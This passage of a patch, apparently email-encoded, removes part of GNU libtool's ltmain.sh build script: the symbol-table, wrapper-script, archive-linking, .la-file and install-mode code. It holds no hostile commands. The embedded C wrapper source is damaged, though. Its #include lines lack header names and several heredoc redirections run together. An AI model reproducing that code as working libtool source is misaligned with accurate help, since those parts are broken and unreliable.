export_symbols=3D"$output_objdir/$output.exp" -=09 $run $rm $export_symbols -=09 $run eval "${SED} -n -e '/^: @PROGRAM@$/d' -e 's/^.* \(.*\)$/= \1/p' "'< "$nlist" > "$export_symbols"' -=09 else -=09 $run eval "${SED} -e 's/\([][.*^$]\)/\\\1/g' -e 's/^/ /' -e '= s/$/$/'"' < "$export_symbols" > "$output_objdir/$output.exp"' -=09 $run eval 'grep -f "$output_objdir/$output.exp" < "$nlist" > = "$nlist"T' -=09 $run eval 'mv "$nlist"T "$nlist"' -=09 fi -=09 fi - -=09 for arg in $dlprefiles; do -=09 $show "extracting global C symbols from \`$arg'" -=09 name=3D`$echo "$arg" | ${SED} -e 's%^.*/%%'` -=09 $run eval '$echo ": $name " >> "$nlist"' -=09 $run eval "$NM $arg | $global_symbol_pipe >> '$nlist'" -=09 done - -=09 if test -z "$run"; then -=09 # Make sure we have at least an empty file. -=09 test -f "$nlist" || : > "$nlist" - -=09 if test -n "$exclude_expsyms"; then -=09 $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T -=09 $mv "$nlist"T "$nlist" -=09 fi - -=09 # Try sorting and uniquifying the output. -=09 if grep -v "^: " < "$nlist" | -=09=09if sort -k 3 /dev/null 2>&1; then -=09=09 sort -k 3 -=09=09else -=09=09 sort +2 -=09=09fi | -=09=09uniq > "$nlist"S; then -=09 : -=09 else -=09 grep -v "^: " < "$nlist" > "$nlist"S -=09 fi - -=09 if test -f "$nlist"S; then -=09 eval "$global_symbol_to_cdecl"' < "$nlist"S >> "$output_objdi= r/$dlsyms"' -=09 else -=09 $echo '/* NONE */' >> "$output_objdir/$dlsyms" -=09 fi - -=09 $echo >> "$output_objdir/$dlsyms" "\ - -#undef lt_preloaded_symbols - -#if defined (__STDC__) && __STDC__ -# define lt_ptr void * -#else -# define lt_ptr char * -# define const -#endif - -/* The mapping between symbol names and symbols. */ -const struct { - const char *name; - lt_ptr address; -} -lt_preloaded_symbols[] =3D -{\ -" - -=09 eval "$global_symbol_to_c_name_address" < "$nlist" >> "$output_= objdir/$dlsyms" - -=09 $echo >> "$output_objdir/$dlsyms" "\ - {0, (lt_ptr) 0} -}; - -/* This works around a problem in FreeBSD linker */ -#ifdef FREEBSD_WORKAROUND -static const void *lt_preloaded_setup() { - return lt_preloaded_symbols; -} -#endif - -#ifdef __cplusplus -} -#endif\ -" -=09 fi - -=09 pic_flag_for_symtable=3D -=09 case $host in -=09 # compiling the symbol table file with pic_flag works around -=09 # a FreeBSD bug that causes programs to crash when -lm is -=09 # linked before any other PIC object. But we must not use -=09 # pic_flag when linking with -static. The problem exists in -=09 # FreeBSD 2.2.6 and is fixed in FreeBSD 3.1. -=09 *-*-freebsd2*|*-*-freebsd3.0*|*-*-freebsdelf3.0*) -=09 case "$compile_command " in -=09 *" -static "*) ;; -=09 *) pic_flag_for_symtable=3D" $pic_flag -DFREEBSD_WORKAROUND";; -=09 esac;; -=09 *-*-hpux*) -=09 case "$compile_command " in -=09 *" -static "*) ;; -=09 *) pic_flag_for_symtable=3D" $pic_flag";; -=09 esac -=09 esac - -=09 # Now compile the dynamic symbol file. -=09 $show "(cd $output_objdir && $LTCC -c$no_builtin_flag$pic_flag_fo= r_symtable \"$dlsyms\")" -=09 $run eval '(cd $output_objdir && $LTCC -c$no_builtin_flag$pic_fla= g_for_symtable "$dlsyms")' || exit $? - -=09 # Clean up the generated files. -=09 $show "$rm $output_objdir/$dlsyms $nlist ${nlist}S ${nlist}T" -=09 $run $rm "$output_objdir/$dlsyms" "$nlist" "${nlist}S" "${nlist}T= " - -=09 # Transform the symbol file into the correct name. -=09 compile_command=3D`$echo "X$compile_command" | $Xsed -e "s%@SYMFI= LE@%$output_objdir/${outputname}S.${objext}%"` -=09 finalize_command=3D`$echo "X$finalize_command" | $Xsed -e "s%@SYM= FILE@%$output_objdir/${outputname}S.${objext}%"` -=09 ;; -=09*) -=09 $echo "$modename: unknown suffix for \`$dlsyms'" 1>&2 -=09 exit $EXIT_FAILURE -=09 ;; -=09esac - else -=09# We keep going just in case the user didn't refer to -=09# lt_preloaded_symbols. The linker will fail if global_symbol_pipe -=09# really was required. - -=09# Nullify the symbol file. -=09compile_command=3D`$echo "X$compile_command" | $Xsed -e "s% @SYMFIL= E@%%"` -=09finalize_command=3D`$echo "X$finalize_command" | $Xsed -e "s% @SYMF= ILE@%%"` - fi - - if test "$need_relink" =3D no || test "$build_libtool_libs" !=3D= yes; then -=09# Replace the output file specification. -=09compile_command=3D`$echo "X$compile_command" | $Xsed -e 's%@OUTPUT@= %'"$output"'%g'` -=09link_command=3D"$compile_command$compile_rpath" - -=09# We have no uninstalled library dependencies, so finalize right no= w. -=09$show "$link_command" -=09$run eval "$link_command" -=09status=3D$? - -=09# Delete the generated files. -=09if test -n "$dlsyms"; then -=09 $show "$rm $output_objdir/${outputname}S.${objext}" -=09 $run $rm "$output_objdir/${outputname}S.${objext}" -=09fi - -=09exit $status - fi - - if test -n "$shlibpath_var"; then -=09# We should set the shlibpath_var -=09rpath=3D -=09for dir in $temp_rpath; do -=09 case $dir in -=09 [\\/]* | [A-Za-z]:[\\/]*) -=09 # Absolute path. -=09 rpath=3D"$rpath$dir:" -=09 ;; -=09 *) -=09 # Relative path: add a thisdir entry. -=09 rpath=3D"$rpath\$thisdir/$dir:" -=09 ;; -=09 esac -=09done -=09temp_rpath=3D"$rpath" - fi - - if test -n "$compile_shlibpath$finalize_shlibpath"; then -=09compile_command=3D"$shlibpath_var=3D\"$compile_shlibpath$finalize_s= hlibpath\$$shlibpath_var\" $compile_command" - fi - if test -n "$finalize_shlibpath"; then -=09finalize_command=3D"$shlibpath_var=3D\"$finalize_shlibpath\$$shlibp= ath_var\" $finalize_command" - fi - - compile_var=3D - finalize_var=3D - if test -n "$runpath_var"; then -=09if test -n "$perm_rpath"; then -=09 # We should set the runpath_var. -=09 rpath=3D -=09 for dir in $perm_rpath; do -=09 rpath=3D"$rpath$dir:" -=09 done -=09 compile_var=3D"$runpath_var=3D\"$rpath\$$runpath_var\" " -=09fi -=09if test -n "$finalize_perm_rpath"; then -=09 # We should set the runpath_var. -=09 rpath=3D -=09 for dir in $finalize_perm_rpath; do -=09 rpath=3D"$rpath$dir:" -=09 done -=09 finalize_var=3D"$runpath_var=3D\"$rpath\$$runpath_var\" " -=09fi - fi - - if test "$no_install" =3D yes; then -=09# We don't need to create a wrapper script. -=09link_command=3D"$compile_var$compile_command$compile_rpath" -=09# Replace the output file specification. -=09link_command=3D`$echo "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$ou= tput"'%g'` -=09# Delete the old output file. -=09$run $rm $output -=09# Link the executable and exit -=09$show "$link_command" -=09$run eval "$link_command" || exit $? -=09exit $EXIT_SUCCESS - fi - - if test "$hardcode_action" =3D relink; then -=09# Fast installation is not supported -=09link_command=3D"$compile_var$compile_command$compile_rpath" -=09relink_command=3D"$finalize_var$finalize_command$finalize_rpath" - -=09$echo "$modename: warning: this platform does not like uninstalled = shared libraries" 1>&2 -=09$echo "$modename: \`$output' will be relinked during installation" = 1>&2 - else -=09if test "$fast_install" !=3D no; then -=09 link_command=3D"$finalize_var$compile_command$finalize_rpath" -=09 if test "$fast_install" =3D yes; then -=09 relink_command=3D`$echo "X$compile_var$compile_command$compile_= rpath" | $Xsed -e 's%@OUTPUT@%\$progdir/\$file%g'` -=09 else -=09 # fast_install is set to needless -=09 relink_command=3D -=09 fi -=09else -=09 link_command=3D"$compile_var$compile_command$compile_rpath" -=09 relink_command=3D"$finalize_var$finalize_command$finalize_rpath" -=09fi - fi - - # Replace the output file specification. - link_command=3D`$echo "X$link_command" | $Xsed -e 's%@OUTPUT@%'"= $output_objdir/$outputname"'%g'` - - # Delete the old output files. - $run $rm $output $output_objdir/$outputname $output_objdir/lt-$o= utputname - - $show "$link_command" - $run eval "$link_command" || exit $? - - # Now create the wrapper script. - $show "creating $output" - - # Quote the relink command for shipping. - if test -n "$relink_command"; then -=09# Preserve any variables that may affect compiler behavior -=09for var in $variables_saved_for_relink; do -=09 if eval test -z \"\${$var+set}\"; then -=09 relink_command=3D"{ test -z \"\${$var+set}\" || unset $var || {= $var=3D; export $var; }; }; $relink_command" -=09 elif eval var_value=3D\$$var; test -z "$var_value"; then -=09 relink_command=3D"$var=3D; export $var; $relink_command" -=09 else -=09 var_value=3D`$echo "X$var_value" | $Xsed -e "$sed_quote_subst"` -=09 relink_command=3D"$var=3D\"$var_value\"; export $var; $relink_c= ommand" -=09 fi -=09done -=09relink_command=3D"(cd `pwd`; $relink_command)" -=09relink_command=3D`$echo "X$relink_command" | $Xsed -e "$sed_quote_s= ubst"` - fi - - # Quote $echo for shipping. - if test "X$echo" =3D "X$SHELL $progpath --fallback-echo"; then -=09case $progpath in -=09[\\/]* | [A-Za-z]:[\\/]*) qecho=3D"$SHELL $progpath --fallback-echo= ";; -=09*) qecho=3D"$SHELL `pwd`/$progpath --fallback-echo";; -=09esac -=09qecho=3D`$echo "X$qecho" | $Xsed -e "$sed_quote_subst"` - else -=09qecho=3D`$echo "X$echo" | $Xsed -e "$sed_quote_subst"` - fi - - # Only actually do things if our run command is non-null. - if test -z "$run"; then -=09# win32 will think the script is a binary if it has -=09# a .exe suffix, so we strip it off here. -=09case $output in -=09 *.exe) output=3D`$echo $output|${SED} 's,.exe$,,'` ;; -=09esac -=09# test for cygwin because mv fails w/o .exe extensions -=09case $host in -=09 *cygwin*) -=09 exeext=3D.exe -=09 outputname=3D`$echo $outputname|${SED} 's,.exe$,,'` ;; -=09 *) exeext=3D ;; -=09esac -=09case $host in -=09 *cygwin* | *mingw* ) -=09 cwrappersource=3D`$echo ${objdir}/lt-${output}.c` -=09 cwrapper=3D`$echo ${output}.exe` -=09 $rm $cwrappersource $cwrapper -=09 trap "$rm $cwrappersource $cwrapper; exit $EXIT_FAILURE" 1 2 15 - -=09 cat > $cwrappersource <> $cwrappersource<<"EOF" -#include -#include -#include -#include -#include -#include - -#if defined(PATH_MAX) -# define LT_PATHMAX PATH_MAX -#elif defined(MAXPATHLEN) -# define LT_PATHMAX MAXPATHLEN -#else -# define LT_PATHMAX 1024 -#endif - -#ifndef DIR_SEPARATOR -#define DIR_SEPARATOR '/' -#endif - -#if defined (_WIN32) || defined (__MSDOS__) || defined (__DJGPP__) || = \ - defined (__OS2__) -#define HAVE_DOS_BASED_FILE_SYSTEM -#ifndef DIR_SEPARATOR_2 -#define DIR_SEPARATOR_2 '\\' -#endif -#endif - -#ifndef DIR_SEPARATOR_2 -# define IS_DIR_SEPARATOR(ch) ((ch) =3D=3D DIR_SEPARATOR) -#else /* DIR_SEPARATOR_2 */ -# define IS_DIR_SEPARATOR(ch) \ - (((ch) =3D=3D DIR_SEPARATOR) || ((ch) =3D=3D DIR_SEPARATOR_2)) -#endif /* DIR_SEPARATOR_2 */ - -#define XMALLOC(type, num) ((type *) xmalloc ((num) * sizeof(type= ))) -#define XFREE(stale) do { \ - if (stale) { free ((void *) stale); stale =3D 0; } \ -} while (0) - -const char *program_name =3D NULL; - -void * xmalloc (size_t num); -char * xstrdup (const char *string); -char * basename (const char *name); -char * fnqualify(const char *path); -char * strendzap(char *str, const char *pat); -void lt_fatal (const char *message, ...); - -int -main (int argc, char *argv[]) -{ - char **newargz; - int i; - - program_name =3D (char *) xstrdup ((char *) basename (argv[0])); - newargz =3D XMALLOC(char *, argc+2); -EOF - -=09 cat >> $cwrappersource <> $cwrappersource <<"EOF" - newargz[1] =3D fnqualify(argv[0]); - /* we know the script has the same name, without the .exe */ - /* so make sure newargz[1] doesn't end in .exe */ - strendzap(newargz[1],".exe"); - for (i =3D 1; i < argc; i++) - newargz[i+1] =3D xstrdup(argv[i]); - newargz[argc+1] =3D NULL; -EOF - -=09 cat >> $cwrappersource <> $cwrappersource <<"EOF" -} - -void * -xmalloc (size_t num) -{ - void * p =3D (void *) malloc (num); - if (!p) - lt_fatal ("Memory exhausted"); - - return p; -} - -char * -xstrdup (const char *string) -{ - return string ? strcpy ((char *) xmalloc (strlen (string) + 1), stri= ng) : NULL -; -} - -char * -basename (const char *name) -{ - const char *base; - -#if defined (HAVE_DOS_BASED_FILE_SYSTEM) - /* Skip over the disk name in MSDOS pathnames. */ - if (isalpha (name[0]) && name[1] =3D=3D ':') - name +=3D 2; -#endif - - for (base =3D name; *name; name++) - if (IS_DIR_SEPARATOR (*name)) - base =3D name + 1; - return (char *) base; -} - -char * -fnqualify(const char *path) -{ - size_t size; - char *p; - char tmp[LT_PATHMAX + 1]; - - assert(path !=3D NULL); - - /* Is it qualified already? */ -#if defined (HAVE_DOS_BASED_FILE_SYSTEM) - if (isalpha (path[0]) && path[1] =3D=3D ':') - return xstrdup (path); -#endif - if (IS_DIR_SEPARATOR (path[0])) - return xstrdup (path); - - /* prepend the current directory */ - /* doesn't handle '~' */ - if (getcwd (tmp, LT_PATHMAX) =3D=3D NULL) - lt_fatal ("getcwd failed"); - size =3D strlen(tmp) + 1 + strlen(path) + 1; /* +2 for '/' and '\0' = */ - p =3D XMALLOC(char, size); - sprintf(p, "%s%c%s", tmp, DIR_SEPARATOR, path); - return p; -} - -char * -strendzap(char *str, const char *pat) -{ - size_t len, patlen; - - assert(str !=3D NULL); - assert(pat !=3D NULL); - - len =3D strlen(str); - patlen =3D strlen(pat); - - if (patlen <=3D len) - { - str +=3D len - patlen; - if (strcmp(str, pat) =3D=3D 0) - *str =3D '\0'; - } - return str; -} - -static void -lt_error_core (int exit_status, const char * mode, - const char * message, va_list ap) -{ - fprintf (stderr, "%s: %s: ", program_name, mode); - vfprintf (stderr, message, ap); - fprintf (stderr, ".\n"); - - if (exit_status >=3D 0) - exit (exit_status); -} - -void -lt_fatal (const char *message, ...) -{ - va_list ap; - va_start (ap, message); - lt_error_core (EXIT_FAILURE, "FATAL", message, ap); - va_end (ap); -} -EOF -=09 # we should really use a build-platform specific compiler -=09 # here, but OTOH, the wrappers (shell script and this C one) -=09 # are only useful if you want to execute the "real" binary. -=09 # Since the "real" binary is built for $host, then this -=09 # wrapper might as well be built for $host, too. -=09 $run $LTCC -s -o $cwrapper $cwrappersource -=09 ;; -=09esac -=09$rm $output -=09trap "$rm $output; exit $EXIT_FAILURE" 1 2 15 - -=09$echo > $output "\ -#! $SHELL - -# $output - temporary wrapper script for $objdir/$outputname -# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP -# -# The $output program cannot be directly executed until all the libtoo= l -# libraries that it depends on are installed. -# -# This wrapper script should never be moved out of the build directory= . -# If it is, it will not operate correctly. - -# Sed substitution that helps us do robust quoting. It backslashifies -# metacharacters that are still active within double-quoted strings. -Xsed=3D'${SED} -e 1s/^X//' -sed_quote_subst=3D'$sed_quote_subst' - -# The HP-UX ksh and POSIX shell print the target directory to stdout -# if CDPATH is set. -(unset CDPATH) >/dev/null 2>&1 && unset CDPATH - -relink_command=3D\"$relink_command\" - -# This environment variable determines our operation mode. -if test \"\$libtool_install_magic\" =3D \"$magic\"; then - # install mode needs the following variable: - notinst_deplibs=3D'$notinst_deplibs' -else - # When we are sourced in execute mode, \$file and \$echo are already= set. - if test \"\$libtool_execute_magic\" !=3D \"$magic\"; then - echo=3D\"$qecho\" - file=3D\"\$0\" - # Make sure echo works. - if test \"X\$1\" =3D X--no-reexec; then - # Discard the --no-reexec flag, and continue. - shift - elif test \"X\`(\$echo '\t') 2>/dev/null\`\" =3D 'X\t'; then - # Yippee, \$echo works! - : - else - # Restart under the correct shell, and then maybe \$echo will wo= rk. - exec $SHELL \"\$0\" --no-reexec \${1+\"\$@\"} - fi - fi\ -" -=09$echo >> $output "\ - - # Find the directory that this script lives in. - thisdir=3D\`\$echo \"X\$file\" | \$Xsed -e 's%/[^/]*$%%'\` - test \"x\$thisdir\" =3D \"x\$file\" && thisdir=3D. - - # Follow symbolic links until we get to the real thisdir. - file=3D\`ls -ld \"\$file\" | ${SED} -n 's/.*-> //p'\` - while test -n \"\$file\"; do - destdir=3D\`\$echo \"X\$file\" | \$Xsed -e 's%/[^/]*\$%%'\` - - # If there was a directory component, then change thisdir. - if test \"x\$destdir\" !=3D \"x\$file\"; then - case \"\$destdir\" in - [\\\\/]* | [A-Za-z]:[\\\\/]*) thisdir=3D\"\$destdir\" ;; - *) thisdir=3D\"\$thisdir/\$destdir\" ;; - esac - fi - - file=3D\`\$echo \"X\$file\" | \$Xsed -e 's%^.*/%%'\` - file=3D\`ls -ld \"\$thisdir/\$file\" | ${SED} -n 's/.*-> //p'\` - done - - # Try to get the absolute directory name. - absdir=3D\`cd \"\$thisdir\" && pwd\` - test -n \"\$absdir\" && thisdir=3D\"\$absdir\" -" - -=09if test "$fast_install" =3D yes; then -=09 $echo >> $output "\ - program=3Dlt-'$outputname'$exeext - progdir=3D\"\$thisdir/$objdir\" - - if test ! -f \"\$progdir/\$program\" || \\ - { file=3D\`ls -1dt \"\$progdir/\$program\" \"\$progdir/../\$progr= am\" 2>/dev/null | ${SED} 1q\`; \\ - test \"X\$file\" !=3D \"X\$progdir/\$program\"; }; then - - file=3D\"\$\$-\$program\" - - if test ! -d \"\$progdir\"; then - $mkdir \"\$progdir\" - else - $rm \"\$progdir/\$file\" - fi" - -=09 $echo >> $output "\ - - # relink executable if necessary - if test -n \"\$relink_command\"; then - if relink_command_output=3D\`eval \$relink_command 2>&1\`; then = : - else -=09$echo \"\$relink_command_output\" >&2 -=09$rm \"\$progdir/\$file\" -=09exit $EXIT_FAILURE - fi - fi - - $mv \"\$progdir/\$file\" \"\$progdir/\$program\" 2>/dev/null || - { $rm \"\$progdir/\$program\"; - $mv \"\$progdir/\$file\" \"\$progdir/\$program\"; } - $rm \"\$progdir/\$file\" - fi" -=09else -=09 $echo >> $output "\ - program=3D'$outputname' - progdir=3D\"\$thisdir/$objdir\" -" -=09fi - -=09$echo >> $output "\ - - if test -f \"\$progdir/\$program\"; then" - -=09# Export our shlibpath_var if we have one. -=09if test "$shlibpath_overrides_runpath" =3D yes && test -n "$shlibpa= th_var" && test -n "$temp_rpath"; then -=09 $echo >> $output "\ - # Add our own library path to $shlibpath_var - $shlibpath_var=3D\"$temp_rpath\$$shlibpath_var\" - - # Some systems cannot cope with colon-terminated $shlibpath_var - # The second colon is a workaround for a bug in BeOS R4 sed - $shlibpath_var=3D\`\$echo \"X\$$shlibpath_var\" | \$Xsed -e 's/::*= \$//'\` - - export $shlibpath_var -" -=09fi - -=09# fixup the dll searchpath if we need to. -=09if test -n "$dllsearchpath"; then -=09 $echo >> $output "\ - # Add the dll search path components to the executable PATH - PATH=3D$dllsearchpath:\$PATH -" -=09fi - -=09$echo >> $output "\ - if test \"\$libtool_execute_magic\" !=3D \"$magic\"; then - # Run the actual program with our arguments. -" -=09case $host in -=09# Backslashes separate directories on plain windows -=09*-*-mingw | *-*-os2*) -=09 $echo >> $output "\ - exec \$progdir\\\\\$program \${1+\"\$@\"} -" -=09 ;; - -=09*) -=09 $echo >> $output "\ - exec \$progdir/\$program \${1+\"\$@\"} -" -=09 ;; -=09esac -=09$echo >> $output "\ - \$echo \"\$0: cannot exec \$program \${1+\"\$@\"}\" - exit $EXIT_FAILURE - fi - else - # The program doesn't exist. - \$echo \"\$0: error: \$progdir/\$program does not exist\" 1>&2 - \$echo \"This script is just a wrapper for \$program.\" 1>&2 - $echo \"See the $PACKAGE documentation for more information.\" 1>&= 2 - exit $EXIT_FAILURE - fi -fi\ -" -=09chmod +x $output - fi - exit $EXIT_SUCCESS - ;; - esac - - # See if we need to build an old-fashioned archive. - for oldlib in $oldlibs; do - - if test "$build_libtool_libs" =3D convenience; then -=09oldobjs=3D"$libobjs_save" -=09addlibs=3D"$convenience" -=09build_libtool_libs=3Dno - else -=09if test "$build_libtool_libs" =3D module; then -=09 oldobjs=3D"$libobjs_save" -=09 build_libtool_libs=3Dno -=09else -=09 oldobjs=3D"$old_deplibs $non_pic_objects" -=09fi -=09addlibs=3D"$old_convenience" - fi - - if test -n "$addlibs"; then -=09gentop=3D"$output_objdir/${outputname}x" -=09generated=3D"$generated $gentop" - -=09func_extract_archives $gentop $addlibs -=09oldobjs=3D"$oldobjs $func_extract_archives_result" - fi - - # Do each command in the archive commands. - if test -n "$old_archive_from_new_cmds" && test "$build_libtool_= libs" =3D yes; then - cmds=3D$old_archive_from_new_cmds - else -=09eval cmds=3D\"$old_archive_cmds\" - -=09if len=3D`expr "X$cmds" : ".*"` && -=09 test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; = then -=09 cmds=3D$old_archive_cmds -=09else -=09 # the command line is too long to link in one step, link in parts -=09 $echo "using piecewise archive linking..." -=09 save_RANLIB=3D$RANLIB -=09 RANLIB=3D: -=09 objlist=3D -=09 concat_cmds=3D -=09 save_oldobjs=3D$oldobjs -=09 # GNU ar 2.10+ was changed to match POSIX; thus no paths are -=09 # encoded into archives. This makes 'ar r' malfunction in -=09 # this piecewise linking case whenever conflicting object -=09 # names appear in distinct ar calls; check, warn and compensate. -=09 if (for obj in $save_oldobjs -=09 do -=09 $echo "X$obj" | $Xsed -e 's%^.*/%%' -=09 done | sort | sort -uc >/dev/null 2>&1); then -=09 : -=09 else -=09 $echo "$modename: warning: object name conflicts; overriding AR= _FLAGS to 'cq'" 1>&2 -=09 $echo "$modename: warning: to ensure that POSIX-compatible ar w= ill work" 1>&2 -=09 AR_FLAGS=3Dcq -=09 fi -=09 # Is there a better way of finding the last object in the list? -=09 for obj in $save_oldobjs -=09 do -=09 last_oldobj=3D$obj -=09 done -=09 for obj in $save_oldobjs -=09 do -=09 oldobjs=3D"$objlist $obj" -=09 objlist=3D"$objlist $obj" -=09 eval test_cmds=3D\"$old_archive_cmds\" -=09 if len=3D`expr "X$test_cmds" : ".*"` && -=09 test "$len" -le "$max_cmd_len"; then -=09 : -=09 else -=09 # the above command should be used before it gets too long -=09 oldobjs=3D$objlist -=09 if test "$obj" =3D "$last_oldobj" ; then -=09 RANLIB=3D$save_RANLIB -=09 fi -=09 test -z "$concat_cmds" || concat_cmds=3D$concat_cmds~ -=09 eval concat_cmds=3D\"\${concat_cmds}$old_archive_cmds\" -=09 objlist=3D -=09 fi -=09 done -=09 RANLIB=3D$save_RANLIB -=09 oldobjs=3D$objlist -=09 if test "X$oldobjs" =3D "X" ; then -=09 eval cmds=3D\"\$concat_cmds\" -=09 else -=09 eval cmds=3D\"\$concat_cmds~\$old_archive_cmds\" -=09 fi -=09fi - fi - save_ifs=3D"$IFS"; IFS=3D'~' - for cmd in $cmds; do - eval cmd=3D\"$cmd\" -=09IFS=3D"$save_ifs" -=09$show "$cmd" -=09$run eval "$cmd" || exit $? - done - IFS=3D"$save_ifs" - done - - if test -n "$generated"; then - $show "${rm}r$generated" - $run ${rm}r$generated - fi - - # Now create the libtool archive. - case $output in - *.la) - old_library=3D - test "$build_old_libs" =3D yes && old_library=3D"$libname.$libex= t" - $show "creating $output" - - # Preserve any variables that may affect compiler behavior - for var in $variables_saved_for_relink; do -=09if eval test -z \"\${$var+set}\"; then -=09 relink_command=3D"{ test -z \"\${$var+set}\" || unset $var || { $= var=3D; export $var; }; }; $relink_command" -=09elif eval var_value=3D\$$var; test -z "$var_value"; then -=09 relink_command=3D"$var=3D; export $var; $relink_command" -=09else -=09 var_value=3D`$echo "X$var_value" | $Xsed -e "$sed_quote_subst"` -=09 relink_command=3D"$var=3D\"$var_value\"; export $var; $relink_com= mand" -=09fi - done - # Quote the link command for shipping. - relink_command=3D"(cd `pwd`; $SHELL $progpath $preserve_args --m= ode=3Drelink $libtool_args @inst_prefix_dir@)" - relink_command=3D`$echo "X$relink_command" | $Xsed -e "$sed_quot= e_subst"` - if test "$hardcode_automatic" =3D yes ; then -=09relink_command=3D - fi - - - # Only create the output if not a dry run. - if test -z "$run"; then -=09for installed in no yes; do -=09 if test "$installed" =3D yes; then -=09 if test -z "$install_libdir"; then -=09 break -=09 fi -=09 output=3D"$output_objdir/$outputname"i -=09 # Replace all uninstalled libtool libraries with the installed = ones -=09 newdependency_libs=3D -=09 for deplib in $dependency_libs; do -=09 case $deplib in -=09 *.la) -=09=09name=3D`$echo "X$deplib" | $Xsed -e 's%^.*/%%'` -=09=09eval libdir=3D`${SED} -n -e 's/^libdir=3D\(.*\)$/\1/p' $deplib` -=09=09if test -z "$libdir"; then -=09=09 $echo "$modename: \`$deplib' is not a valid libtool archive" 1= >&2 -=09=09 exit $EXIT_FAILURE -=09=09fi -=09=09newdependency_libs=3D"$newdependency_libs $libdir/$name" -=09=09;; -=09 *) newdependency_libs=3D"$newdependency_libs $deplib" ;; -=09 esac -=09 done -=09 dependency_libs=3D"$newdependency_libs" -=09 newdlfiles=3D -=09 for lib in $dlfiles; do -=09 name=3D`$echo "X$lib" | $Xsed -e 's%^.*/%%'` -=09 eval libdir=3D`${SED} -n -e 's/^libdir=3D\(.*\)$/\1/p' $lib` -=09 if test -z "$libdir"; then -=09=09$echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 -=09=09exit $EXIT_FAILURE -=09 fi -=09 newdlfiles=3D"$newdlfiles $libdir/$name" -=09 done -=09 dlfiles=3D"$newdlfiles" -=09 newdlprefiles=3D -=09 for lib in $dlprefiles; do -=09 name=3D`$echo "X$lib" | $Xsed -e 's%^.*/%%'` -=09 eval libdir=3D`${SED} -n -e 's/^libdir=3D\(.*\)$/\1/p' $lib` -=09 if test -z "$libdir"; then -=09=09$echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 -=09=09exit $EXIT_FAILURE -=09 fi -=09 newdlprefiles=3D"$newdlprefiles $libdir/$name" -=09 done -=09 dlprefiles=3D"$newdlprefiles" -=09 else -=09 newdlfiles=3D -=09 for lib in $dlfiles; do -=09 case $lib in -=09=09[\\/]* | [A-Za-z]:[\\/]*) abs=3D"$lib" ;; -=09=09*) abs=3D`pwd`"/$lib" ;; -=09 esac -=09 newdlfiles=3D"$newdlfiles $abs" -=09 done -=09 dlfiles=3D"$newdlfiles" -=09 newdlprefiles=3D -=09 for lib in $dlprefiles; do -=09 case $lib in -=09=09[\\/]* | [A-Za-z]:[\\/]*) abs=3D"$lib" ;; -=09=09*) abs=3D`pwd`"/$lib" ;; -=09 esac -=09 newdlprefiles=3D"$newdlprefiles $abs" -=09 done -=09 dlprefiles=3D"$newdlprefiles" -=09 fi -=09 $rm $output -=09 # place dlname in correct position for cygwin -=09 tdlname=3D$dlname -=09 case $host,$output,$installed,$module,$dlname in -=09 *cygwin*,*lai,yes,no,*.dll | *mingw*,*lai,yes,no,*.dll) tdlname= =3D../bin/$dlname ;; -=09 esac -=09 $echo > $output "\ -# $outputname - a libtool library file -# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP -# -# Please DO NOT delete this file! -# It is necessary for linking the library. - -# The name that we can dlopen(3). -dlname=3D'$tdlname' - -# Names of this library. -library_names=3D'$library_names' - -# The name of the static archive. -old_library=3D'$old_library' - -# Libraries that this one depends upon. -dependency_libs=3D'$dependency_libs' - -# Version information for $libname. -current=3D$current -age=3D$age -revision=3D$revision - -# Is this an already installed library? -installed=3D$installed - -# Should we warn about portability when linking against -modules? -shouldnotlink=3D$module - -# Files to dlopen/dlpreopen -dlopen=3D'$dlfiles' -dlpreopen=3D'$dlprefiles' - -# Directory that this library needs to be installed in: -libdir=3D'$install_libdir'" -=09 if test "$installed" =3D no && test "$need_relink" =3D yes; then -=09 $echo >> $output "\ -relink_command=3D\"$relink_command\"" -=09 fi -=09done - fi - - # Do a symbolic link so that the libtool archive can be found in - # LD_LIBRARY_PATH before the program is installed. - $show "(cd $output_objdir && $rm $outputname && $LN_S ../$output= name $outputname)" - $run eval '(cd $output_objdir && $rm $outputname && $LN_S ../$ou= tputname $outputname)' || exit $? - ;; - esac - exit $EXIT_SUCCESS - ;; - - # libtool install mode - install) - modename=3D"$modename: install" - - # There may be an optional sh(1) argument at the beginning of - # install_prog (especially on Windows NT). - if test "$nonopt" =3D "$SHELL" || test "$nonopt" =3D /bin/sh || - # Allow the use of GNU shtool's install command. - $echo "X$nonopt" | $Xsed | grep shtool > /dev/null; then - # Aesthetically quote it. - arg=3D`$echo "X$nonopt" | $Xsed -e "$sed_quote_subst"` - case $arg in - *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*) -=09arg=3D"\"$arg\"" -=09;; - esac - install_prog=3D"$arg " - arg=3D"$1" - shift - else - install_prog=3D - arg=3D"$nonopt" - fi - - # The real first argument should be the name of the installation p= rogram. - # Aesthetically quote it. - arg=3D`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` - case $arg in - *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*) - arg=3D"\"$arg\"" - ;; - esac - install_prog=3D"$install_prog$arg" - - # We need to accept at least all the BSD install flags. - dest=3D - files=3D - opts=3D - prev=3D - install_type=3D - isdir=3Dno - stripme=3D - for arg - do - if test -n "$dest"; then -=09files=3D"$files $dest" -=09dest=3D"$arg" -=09continue - fi - - case $arg in - -d) isdir=3Dyes ;; - -f) prev=3D"-f" ;; - -g) prev=3D"-g" ;; - -m) prev=3D"-m" ;; - -o) prev=3D"-o" ;; - -s) -=09stripme=3D" -s" -=09continue -=09;; - -*) ;; - - *) -=09# If the previous option needed an argument, then skip it. -=09if test -n "$prev"; then -=09 prev=3D -=09else -=09 dest=3D"$arg" -=09 continue -=09fi -=09;; - esac - - # Aesthetically quote the argument. - arg=3D`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` - case $arg in - *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*) -=09arg=3D"\"$arg\"" -=09;; - esac - install_prog=3D"$install_prog $arg" - done - - if test -z "$install_prog"; then - $echo "$modename: you must specify an install program" 1>&2 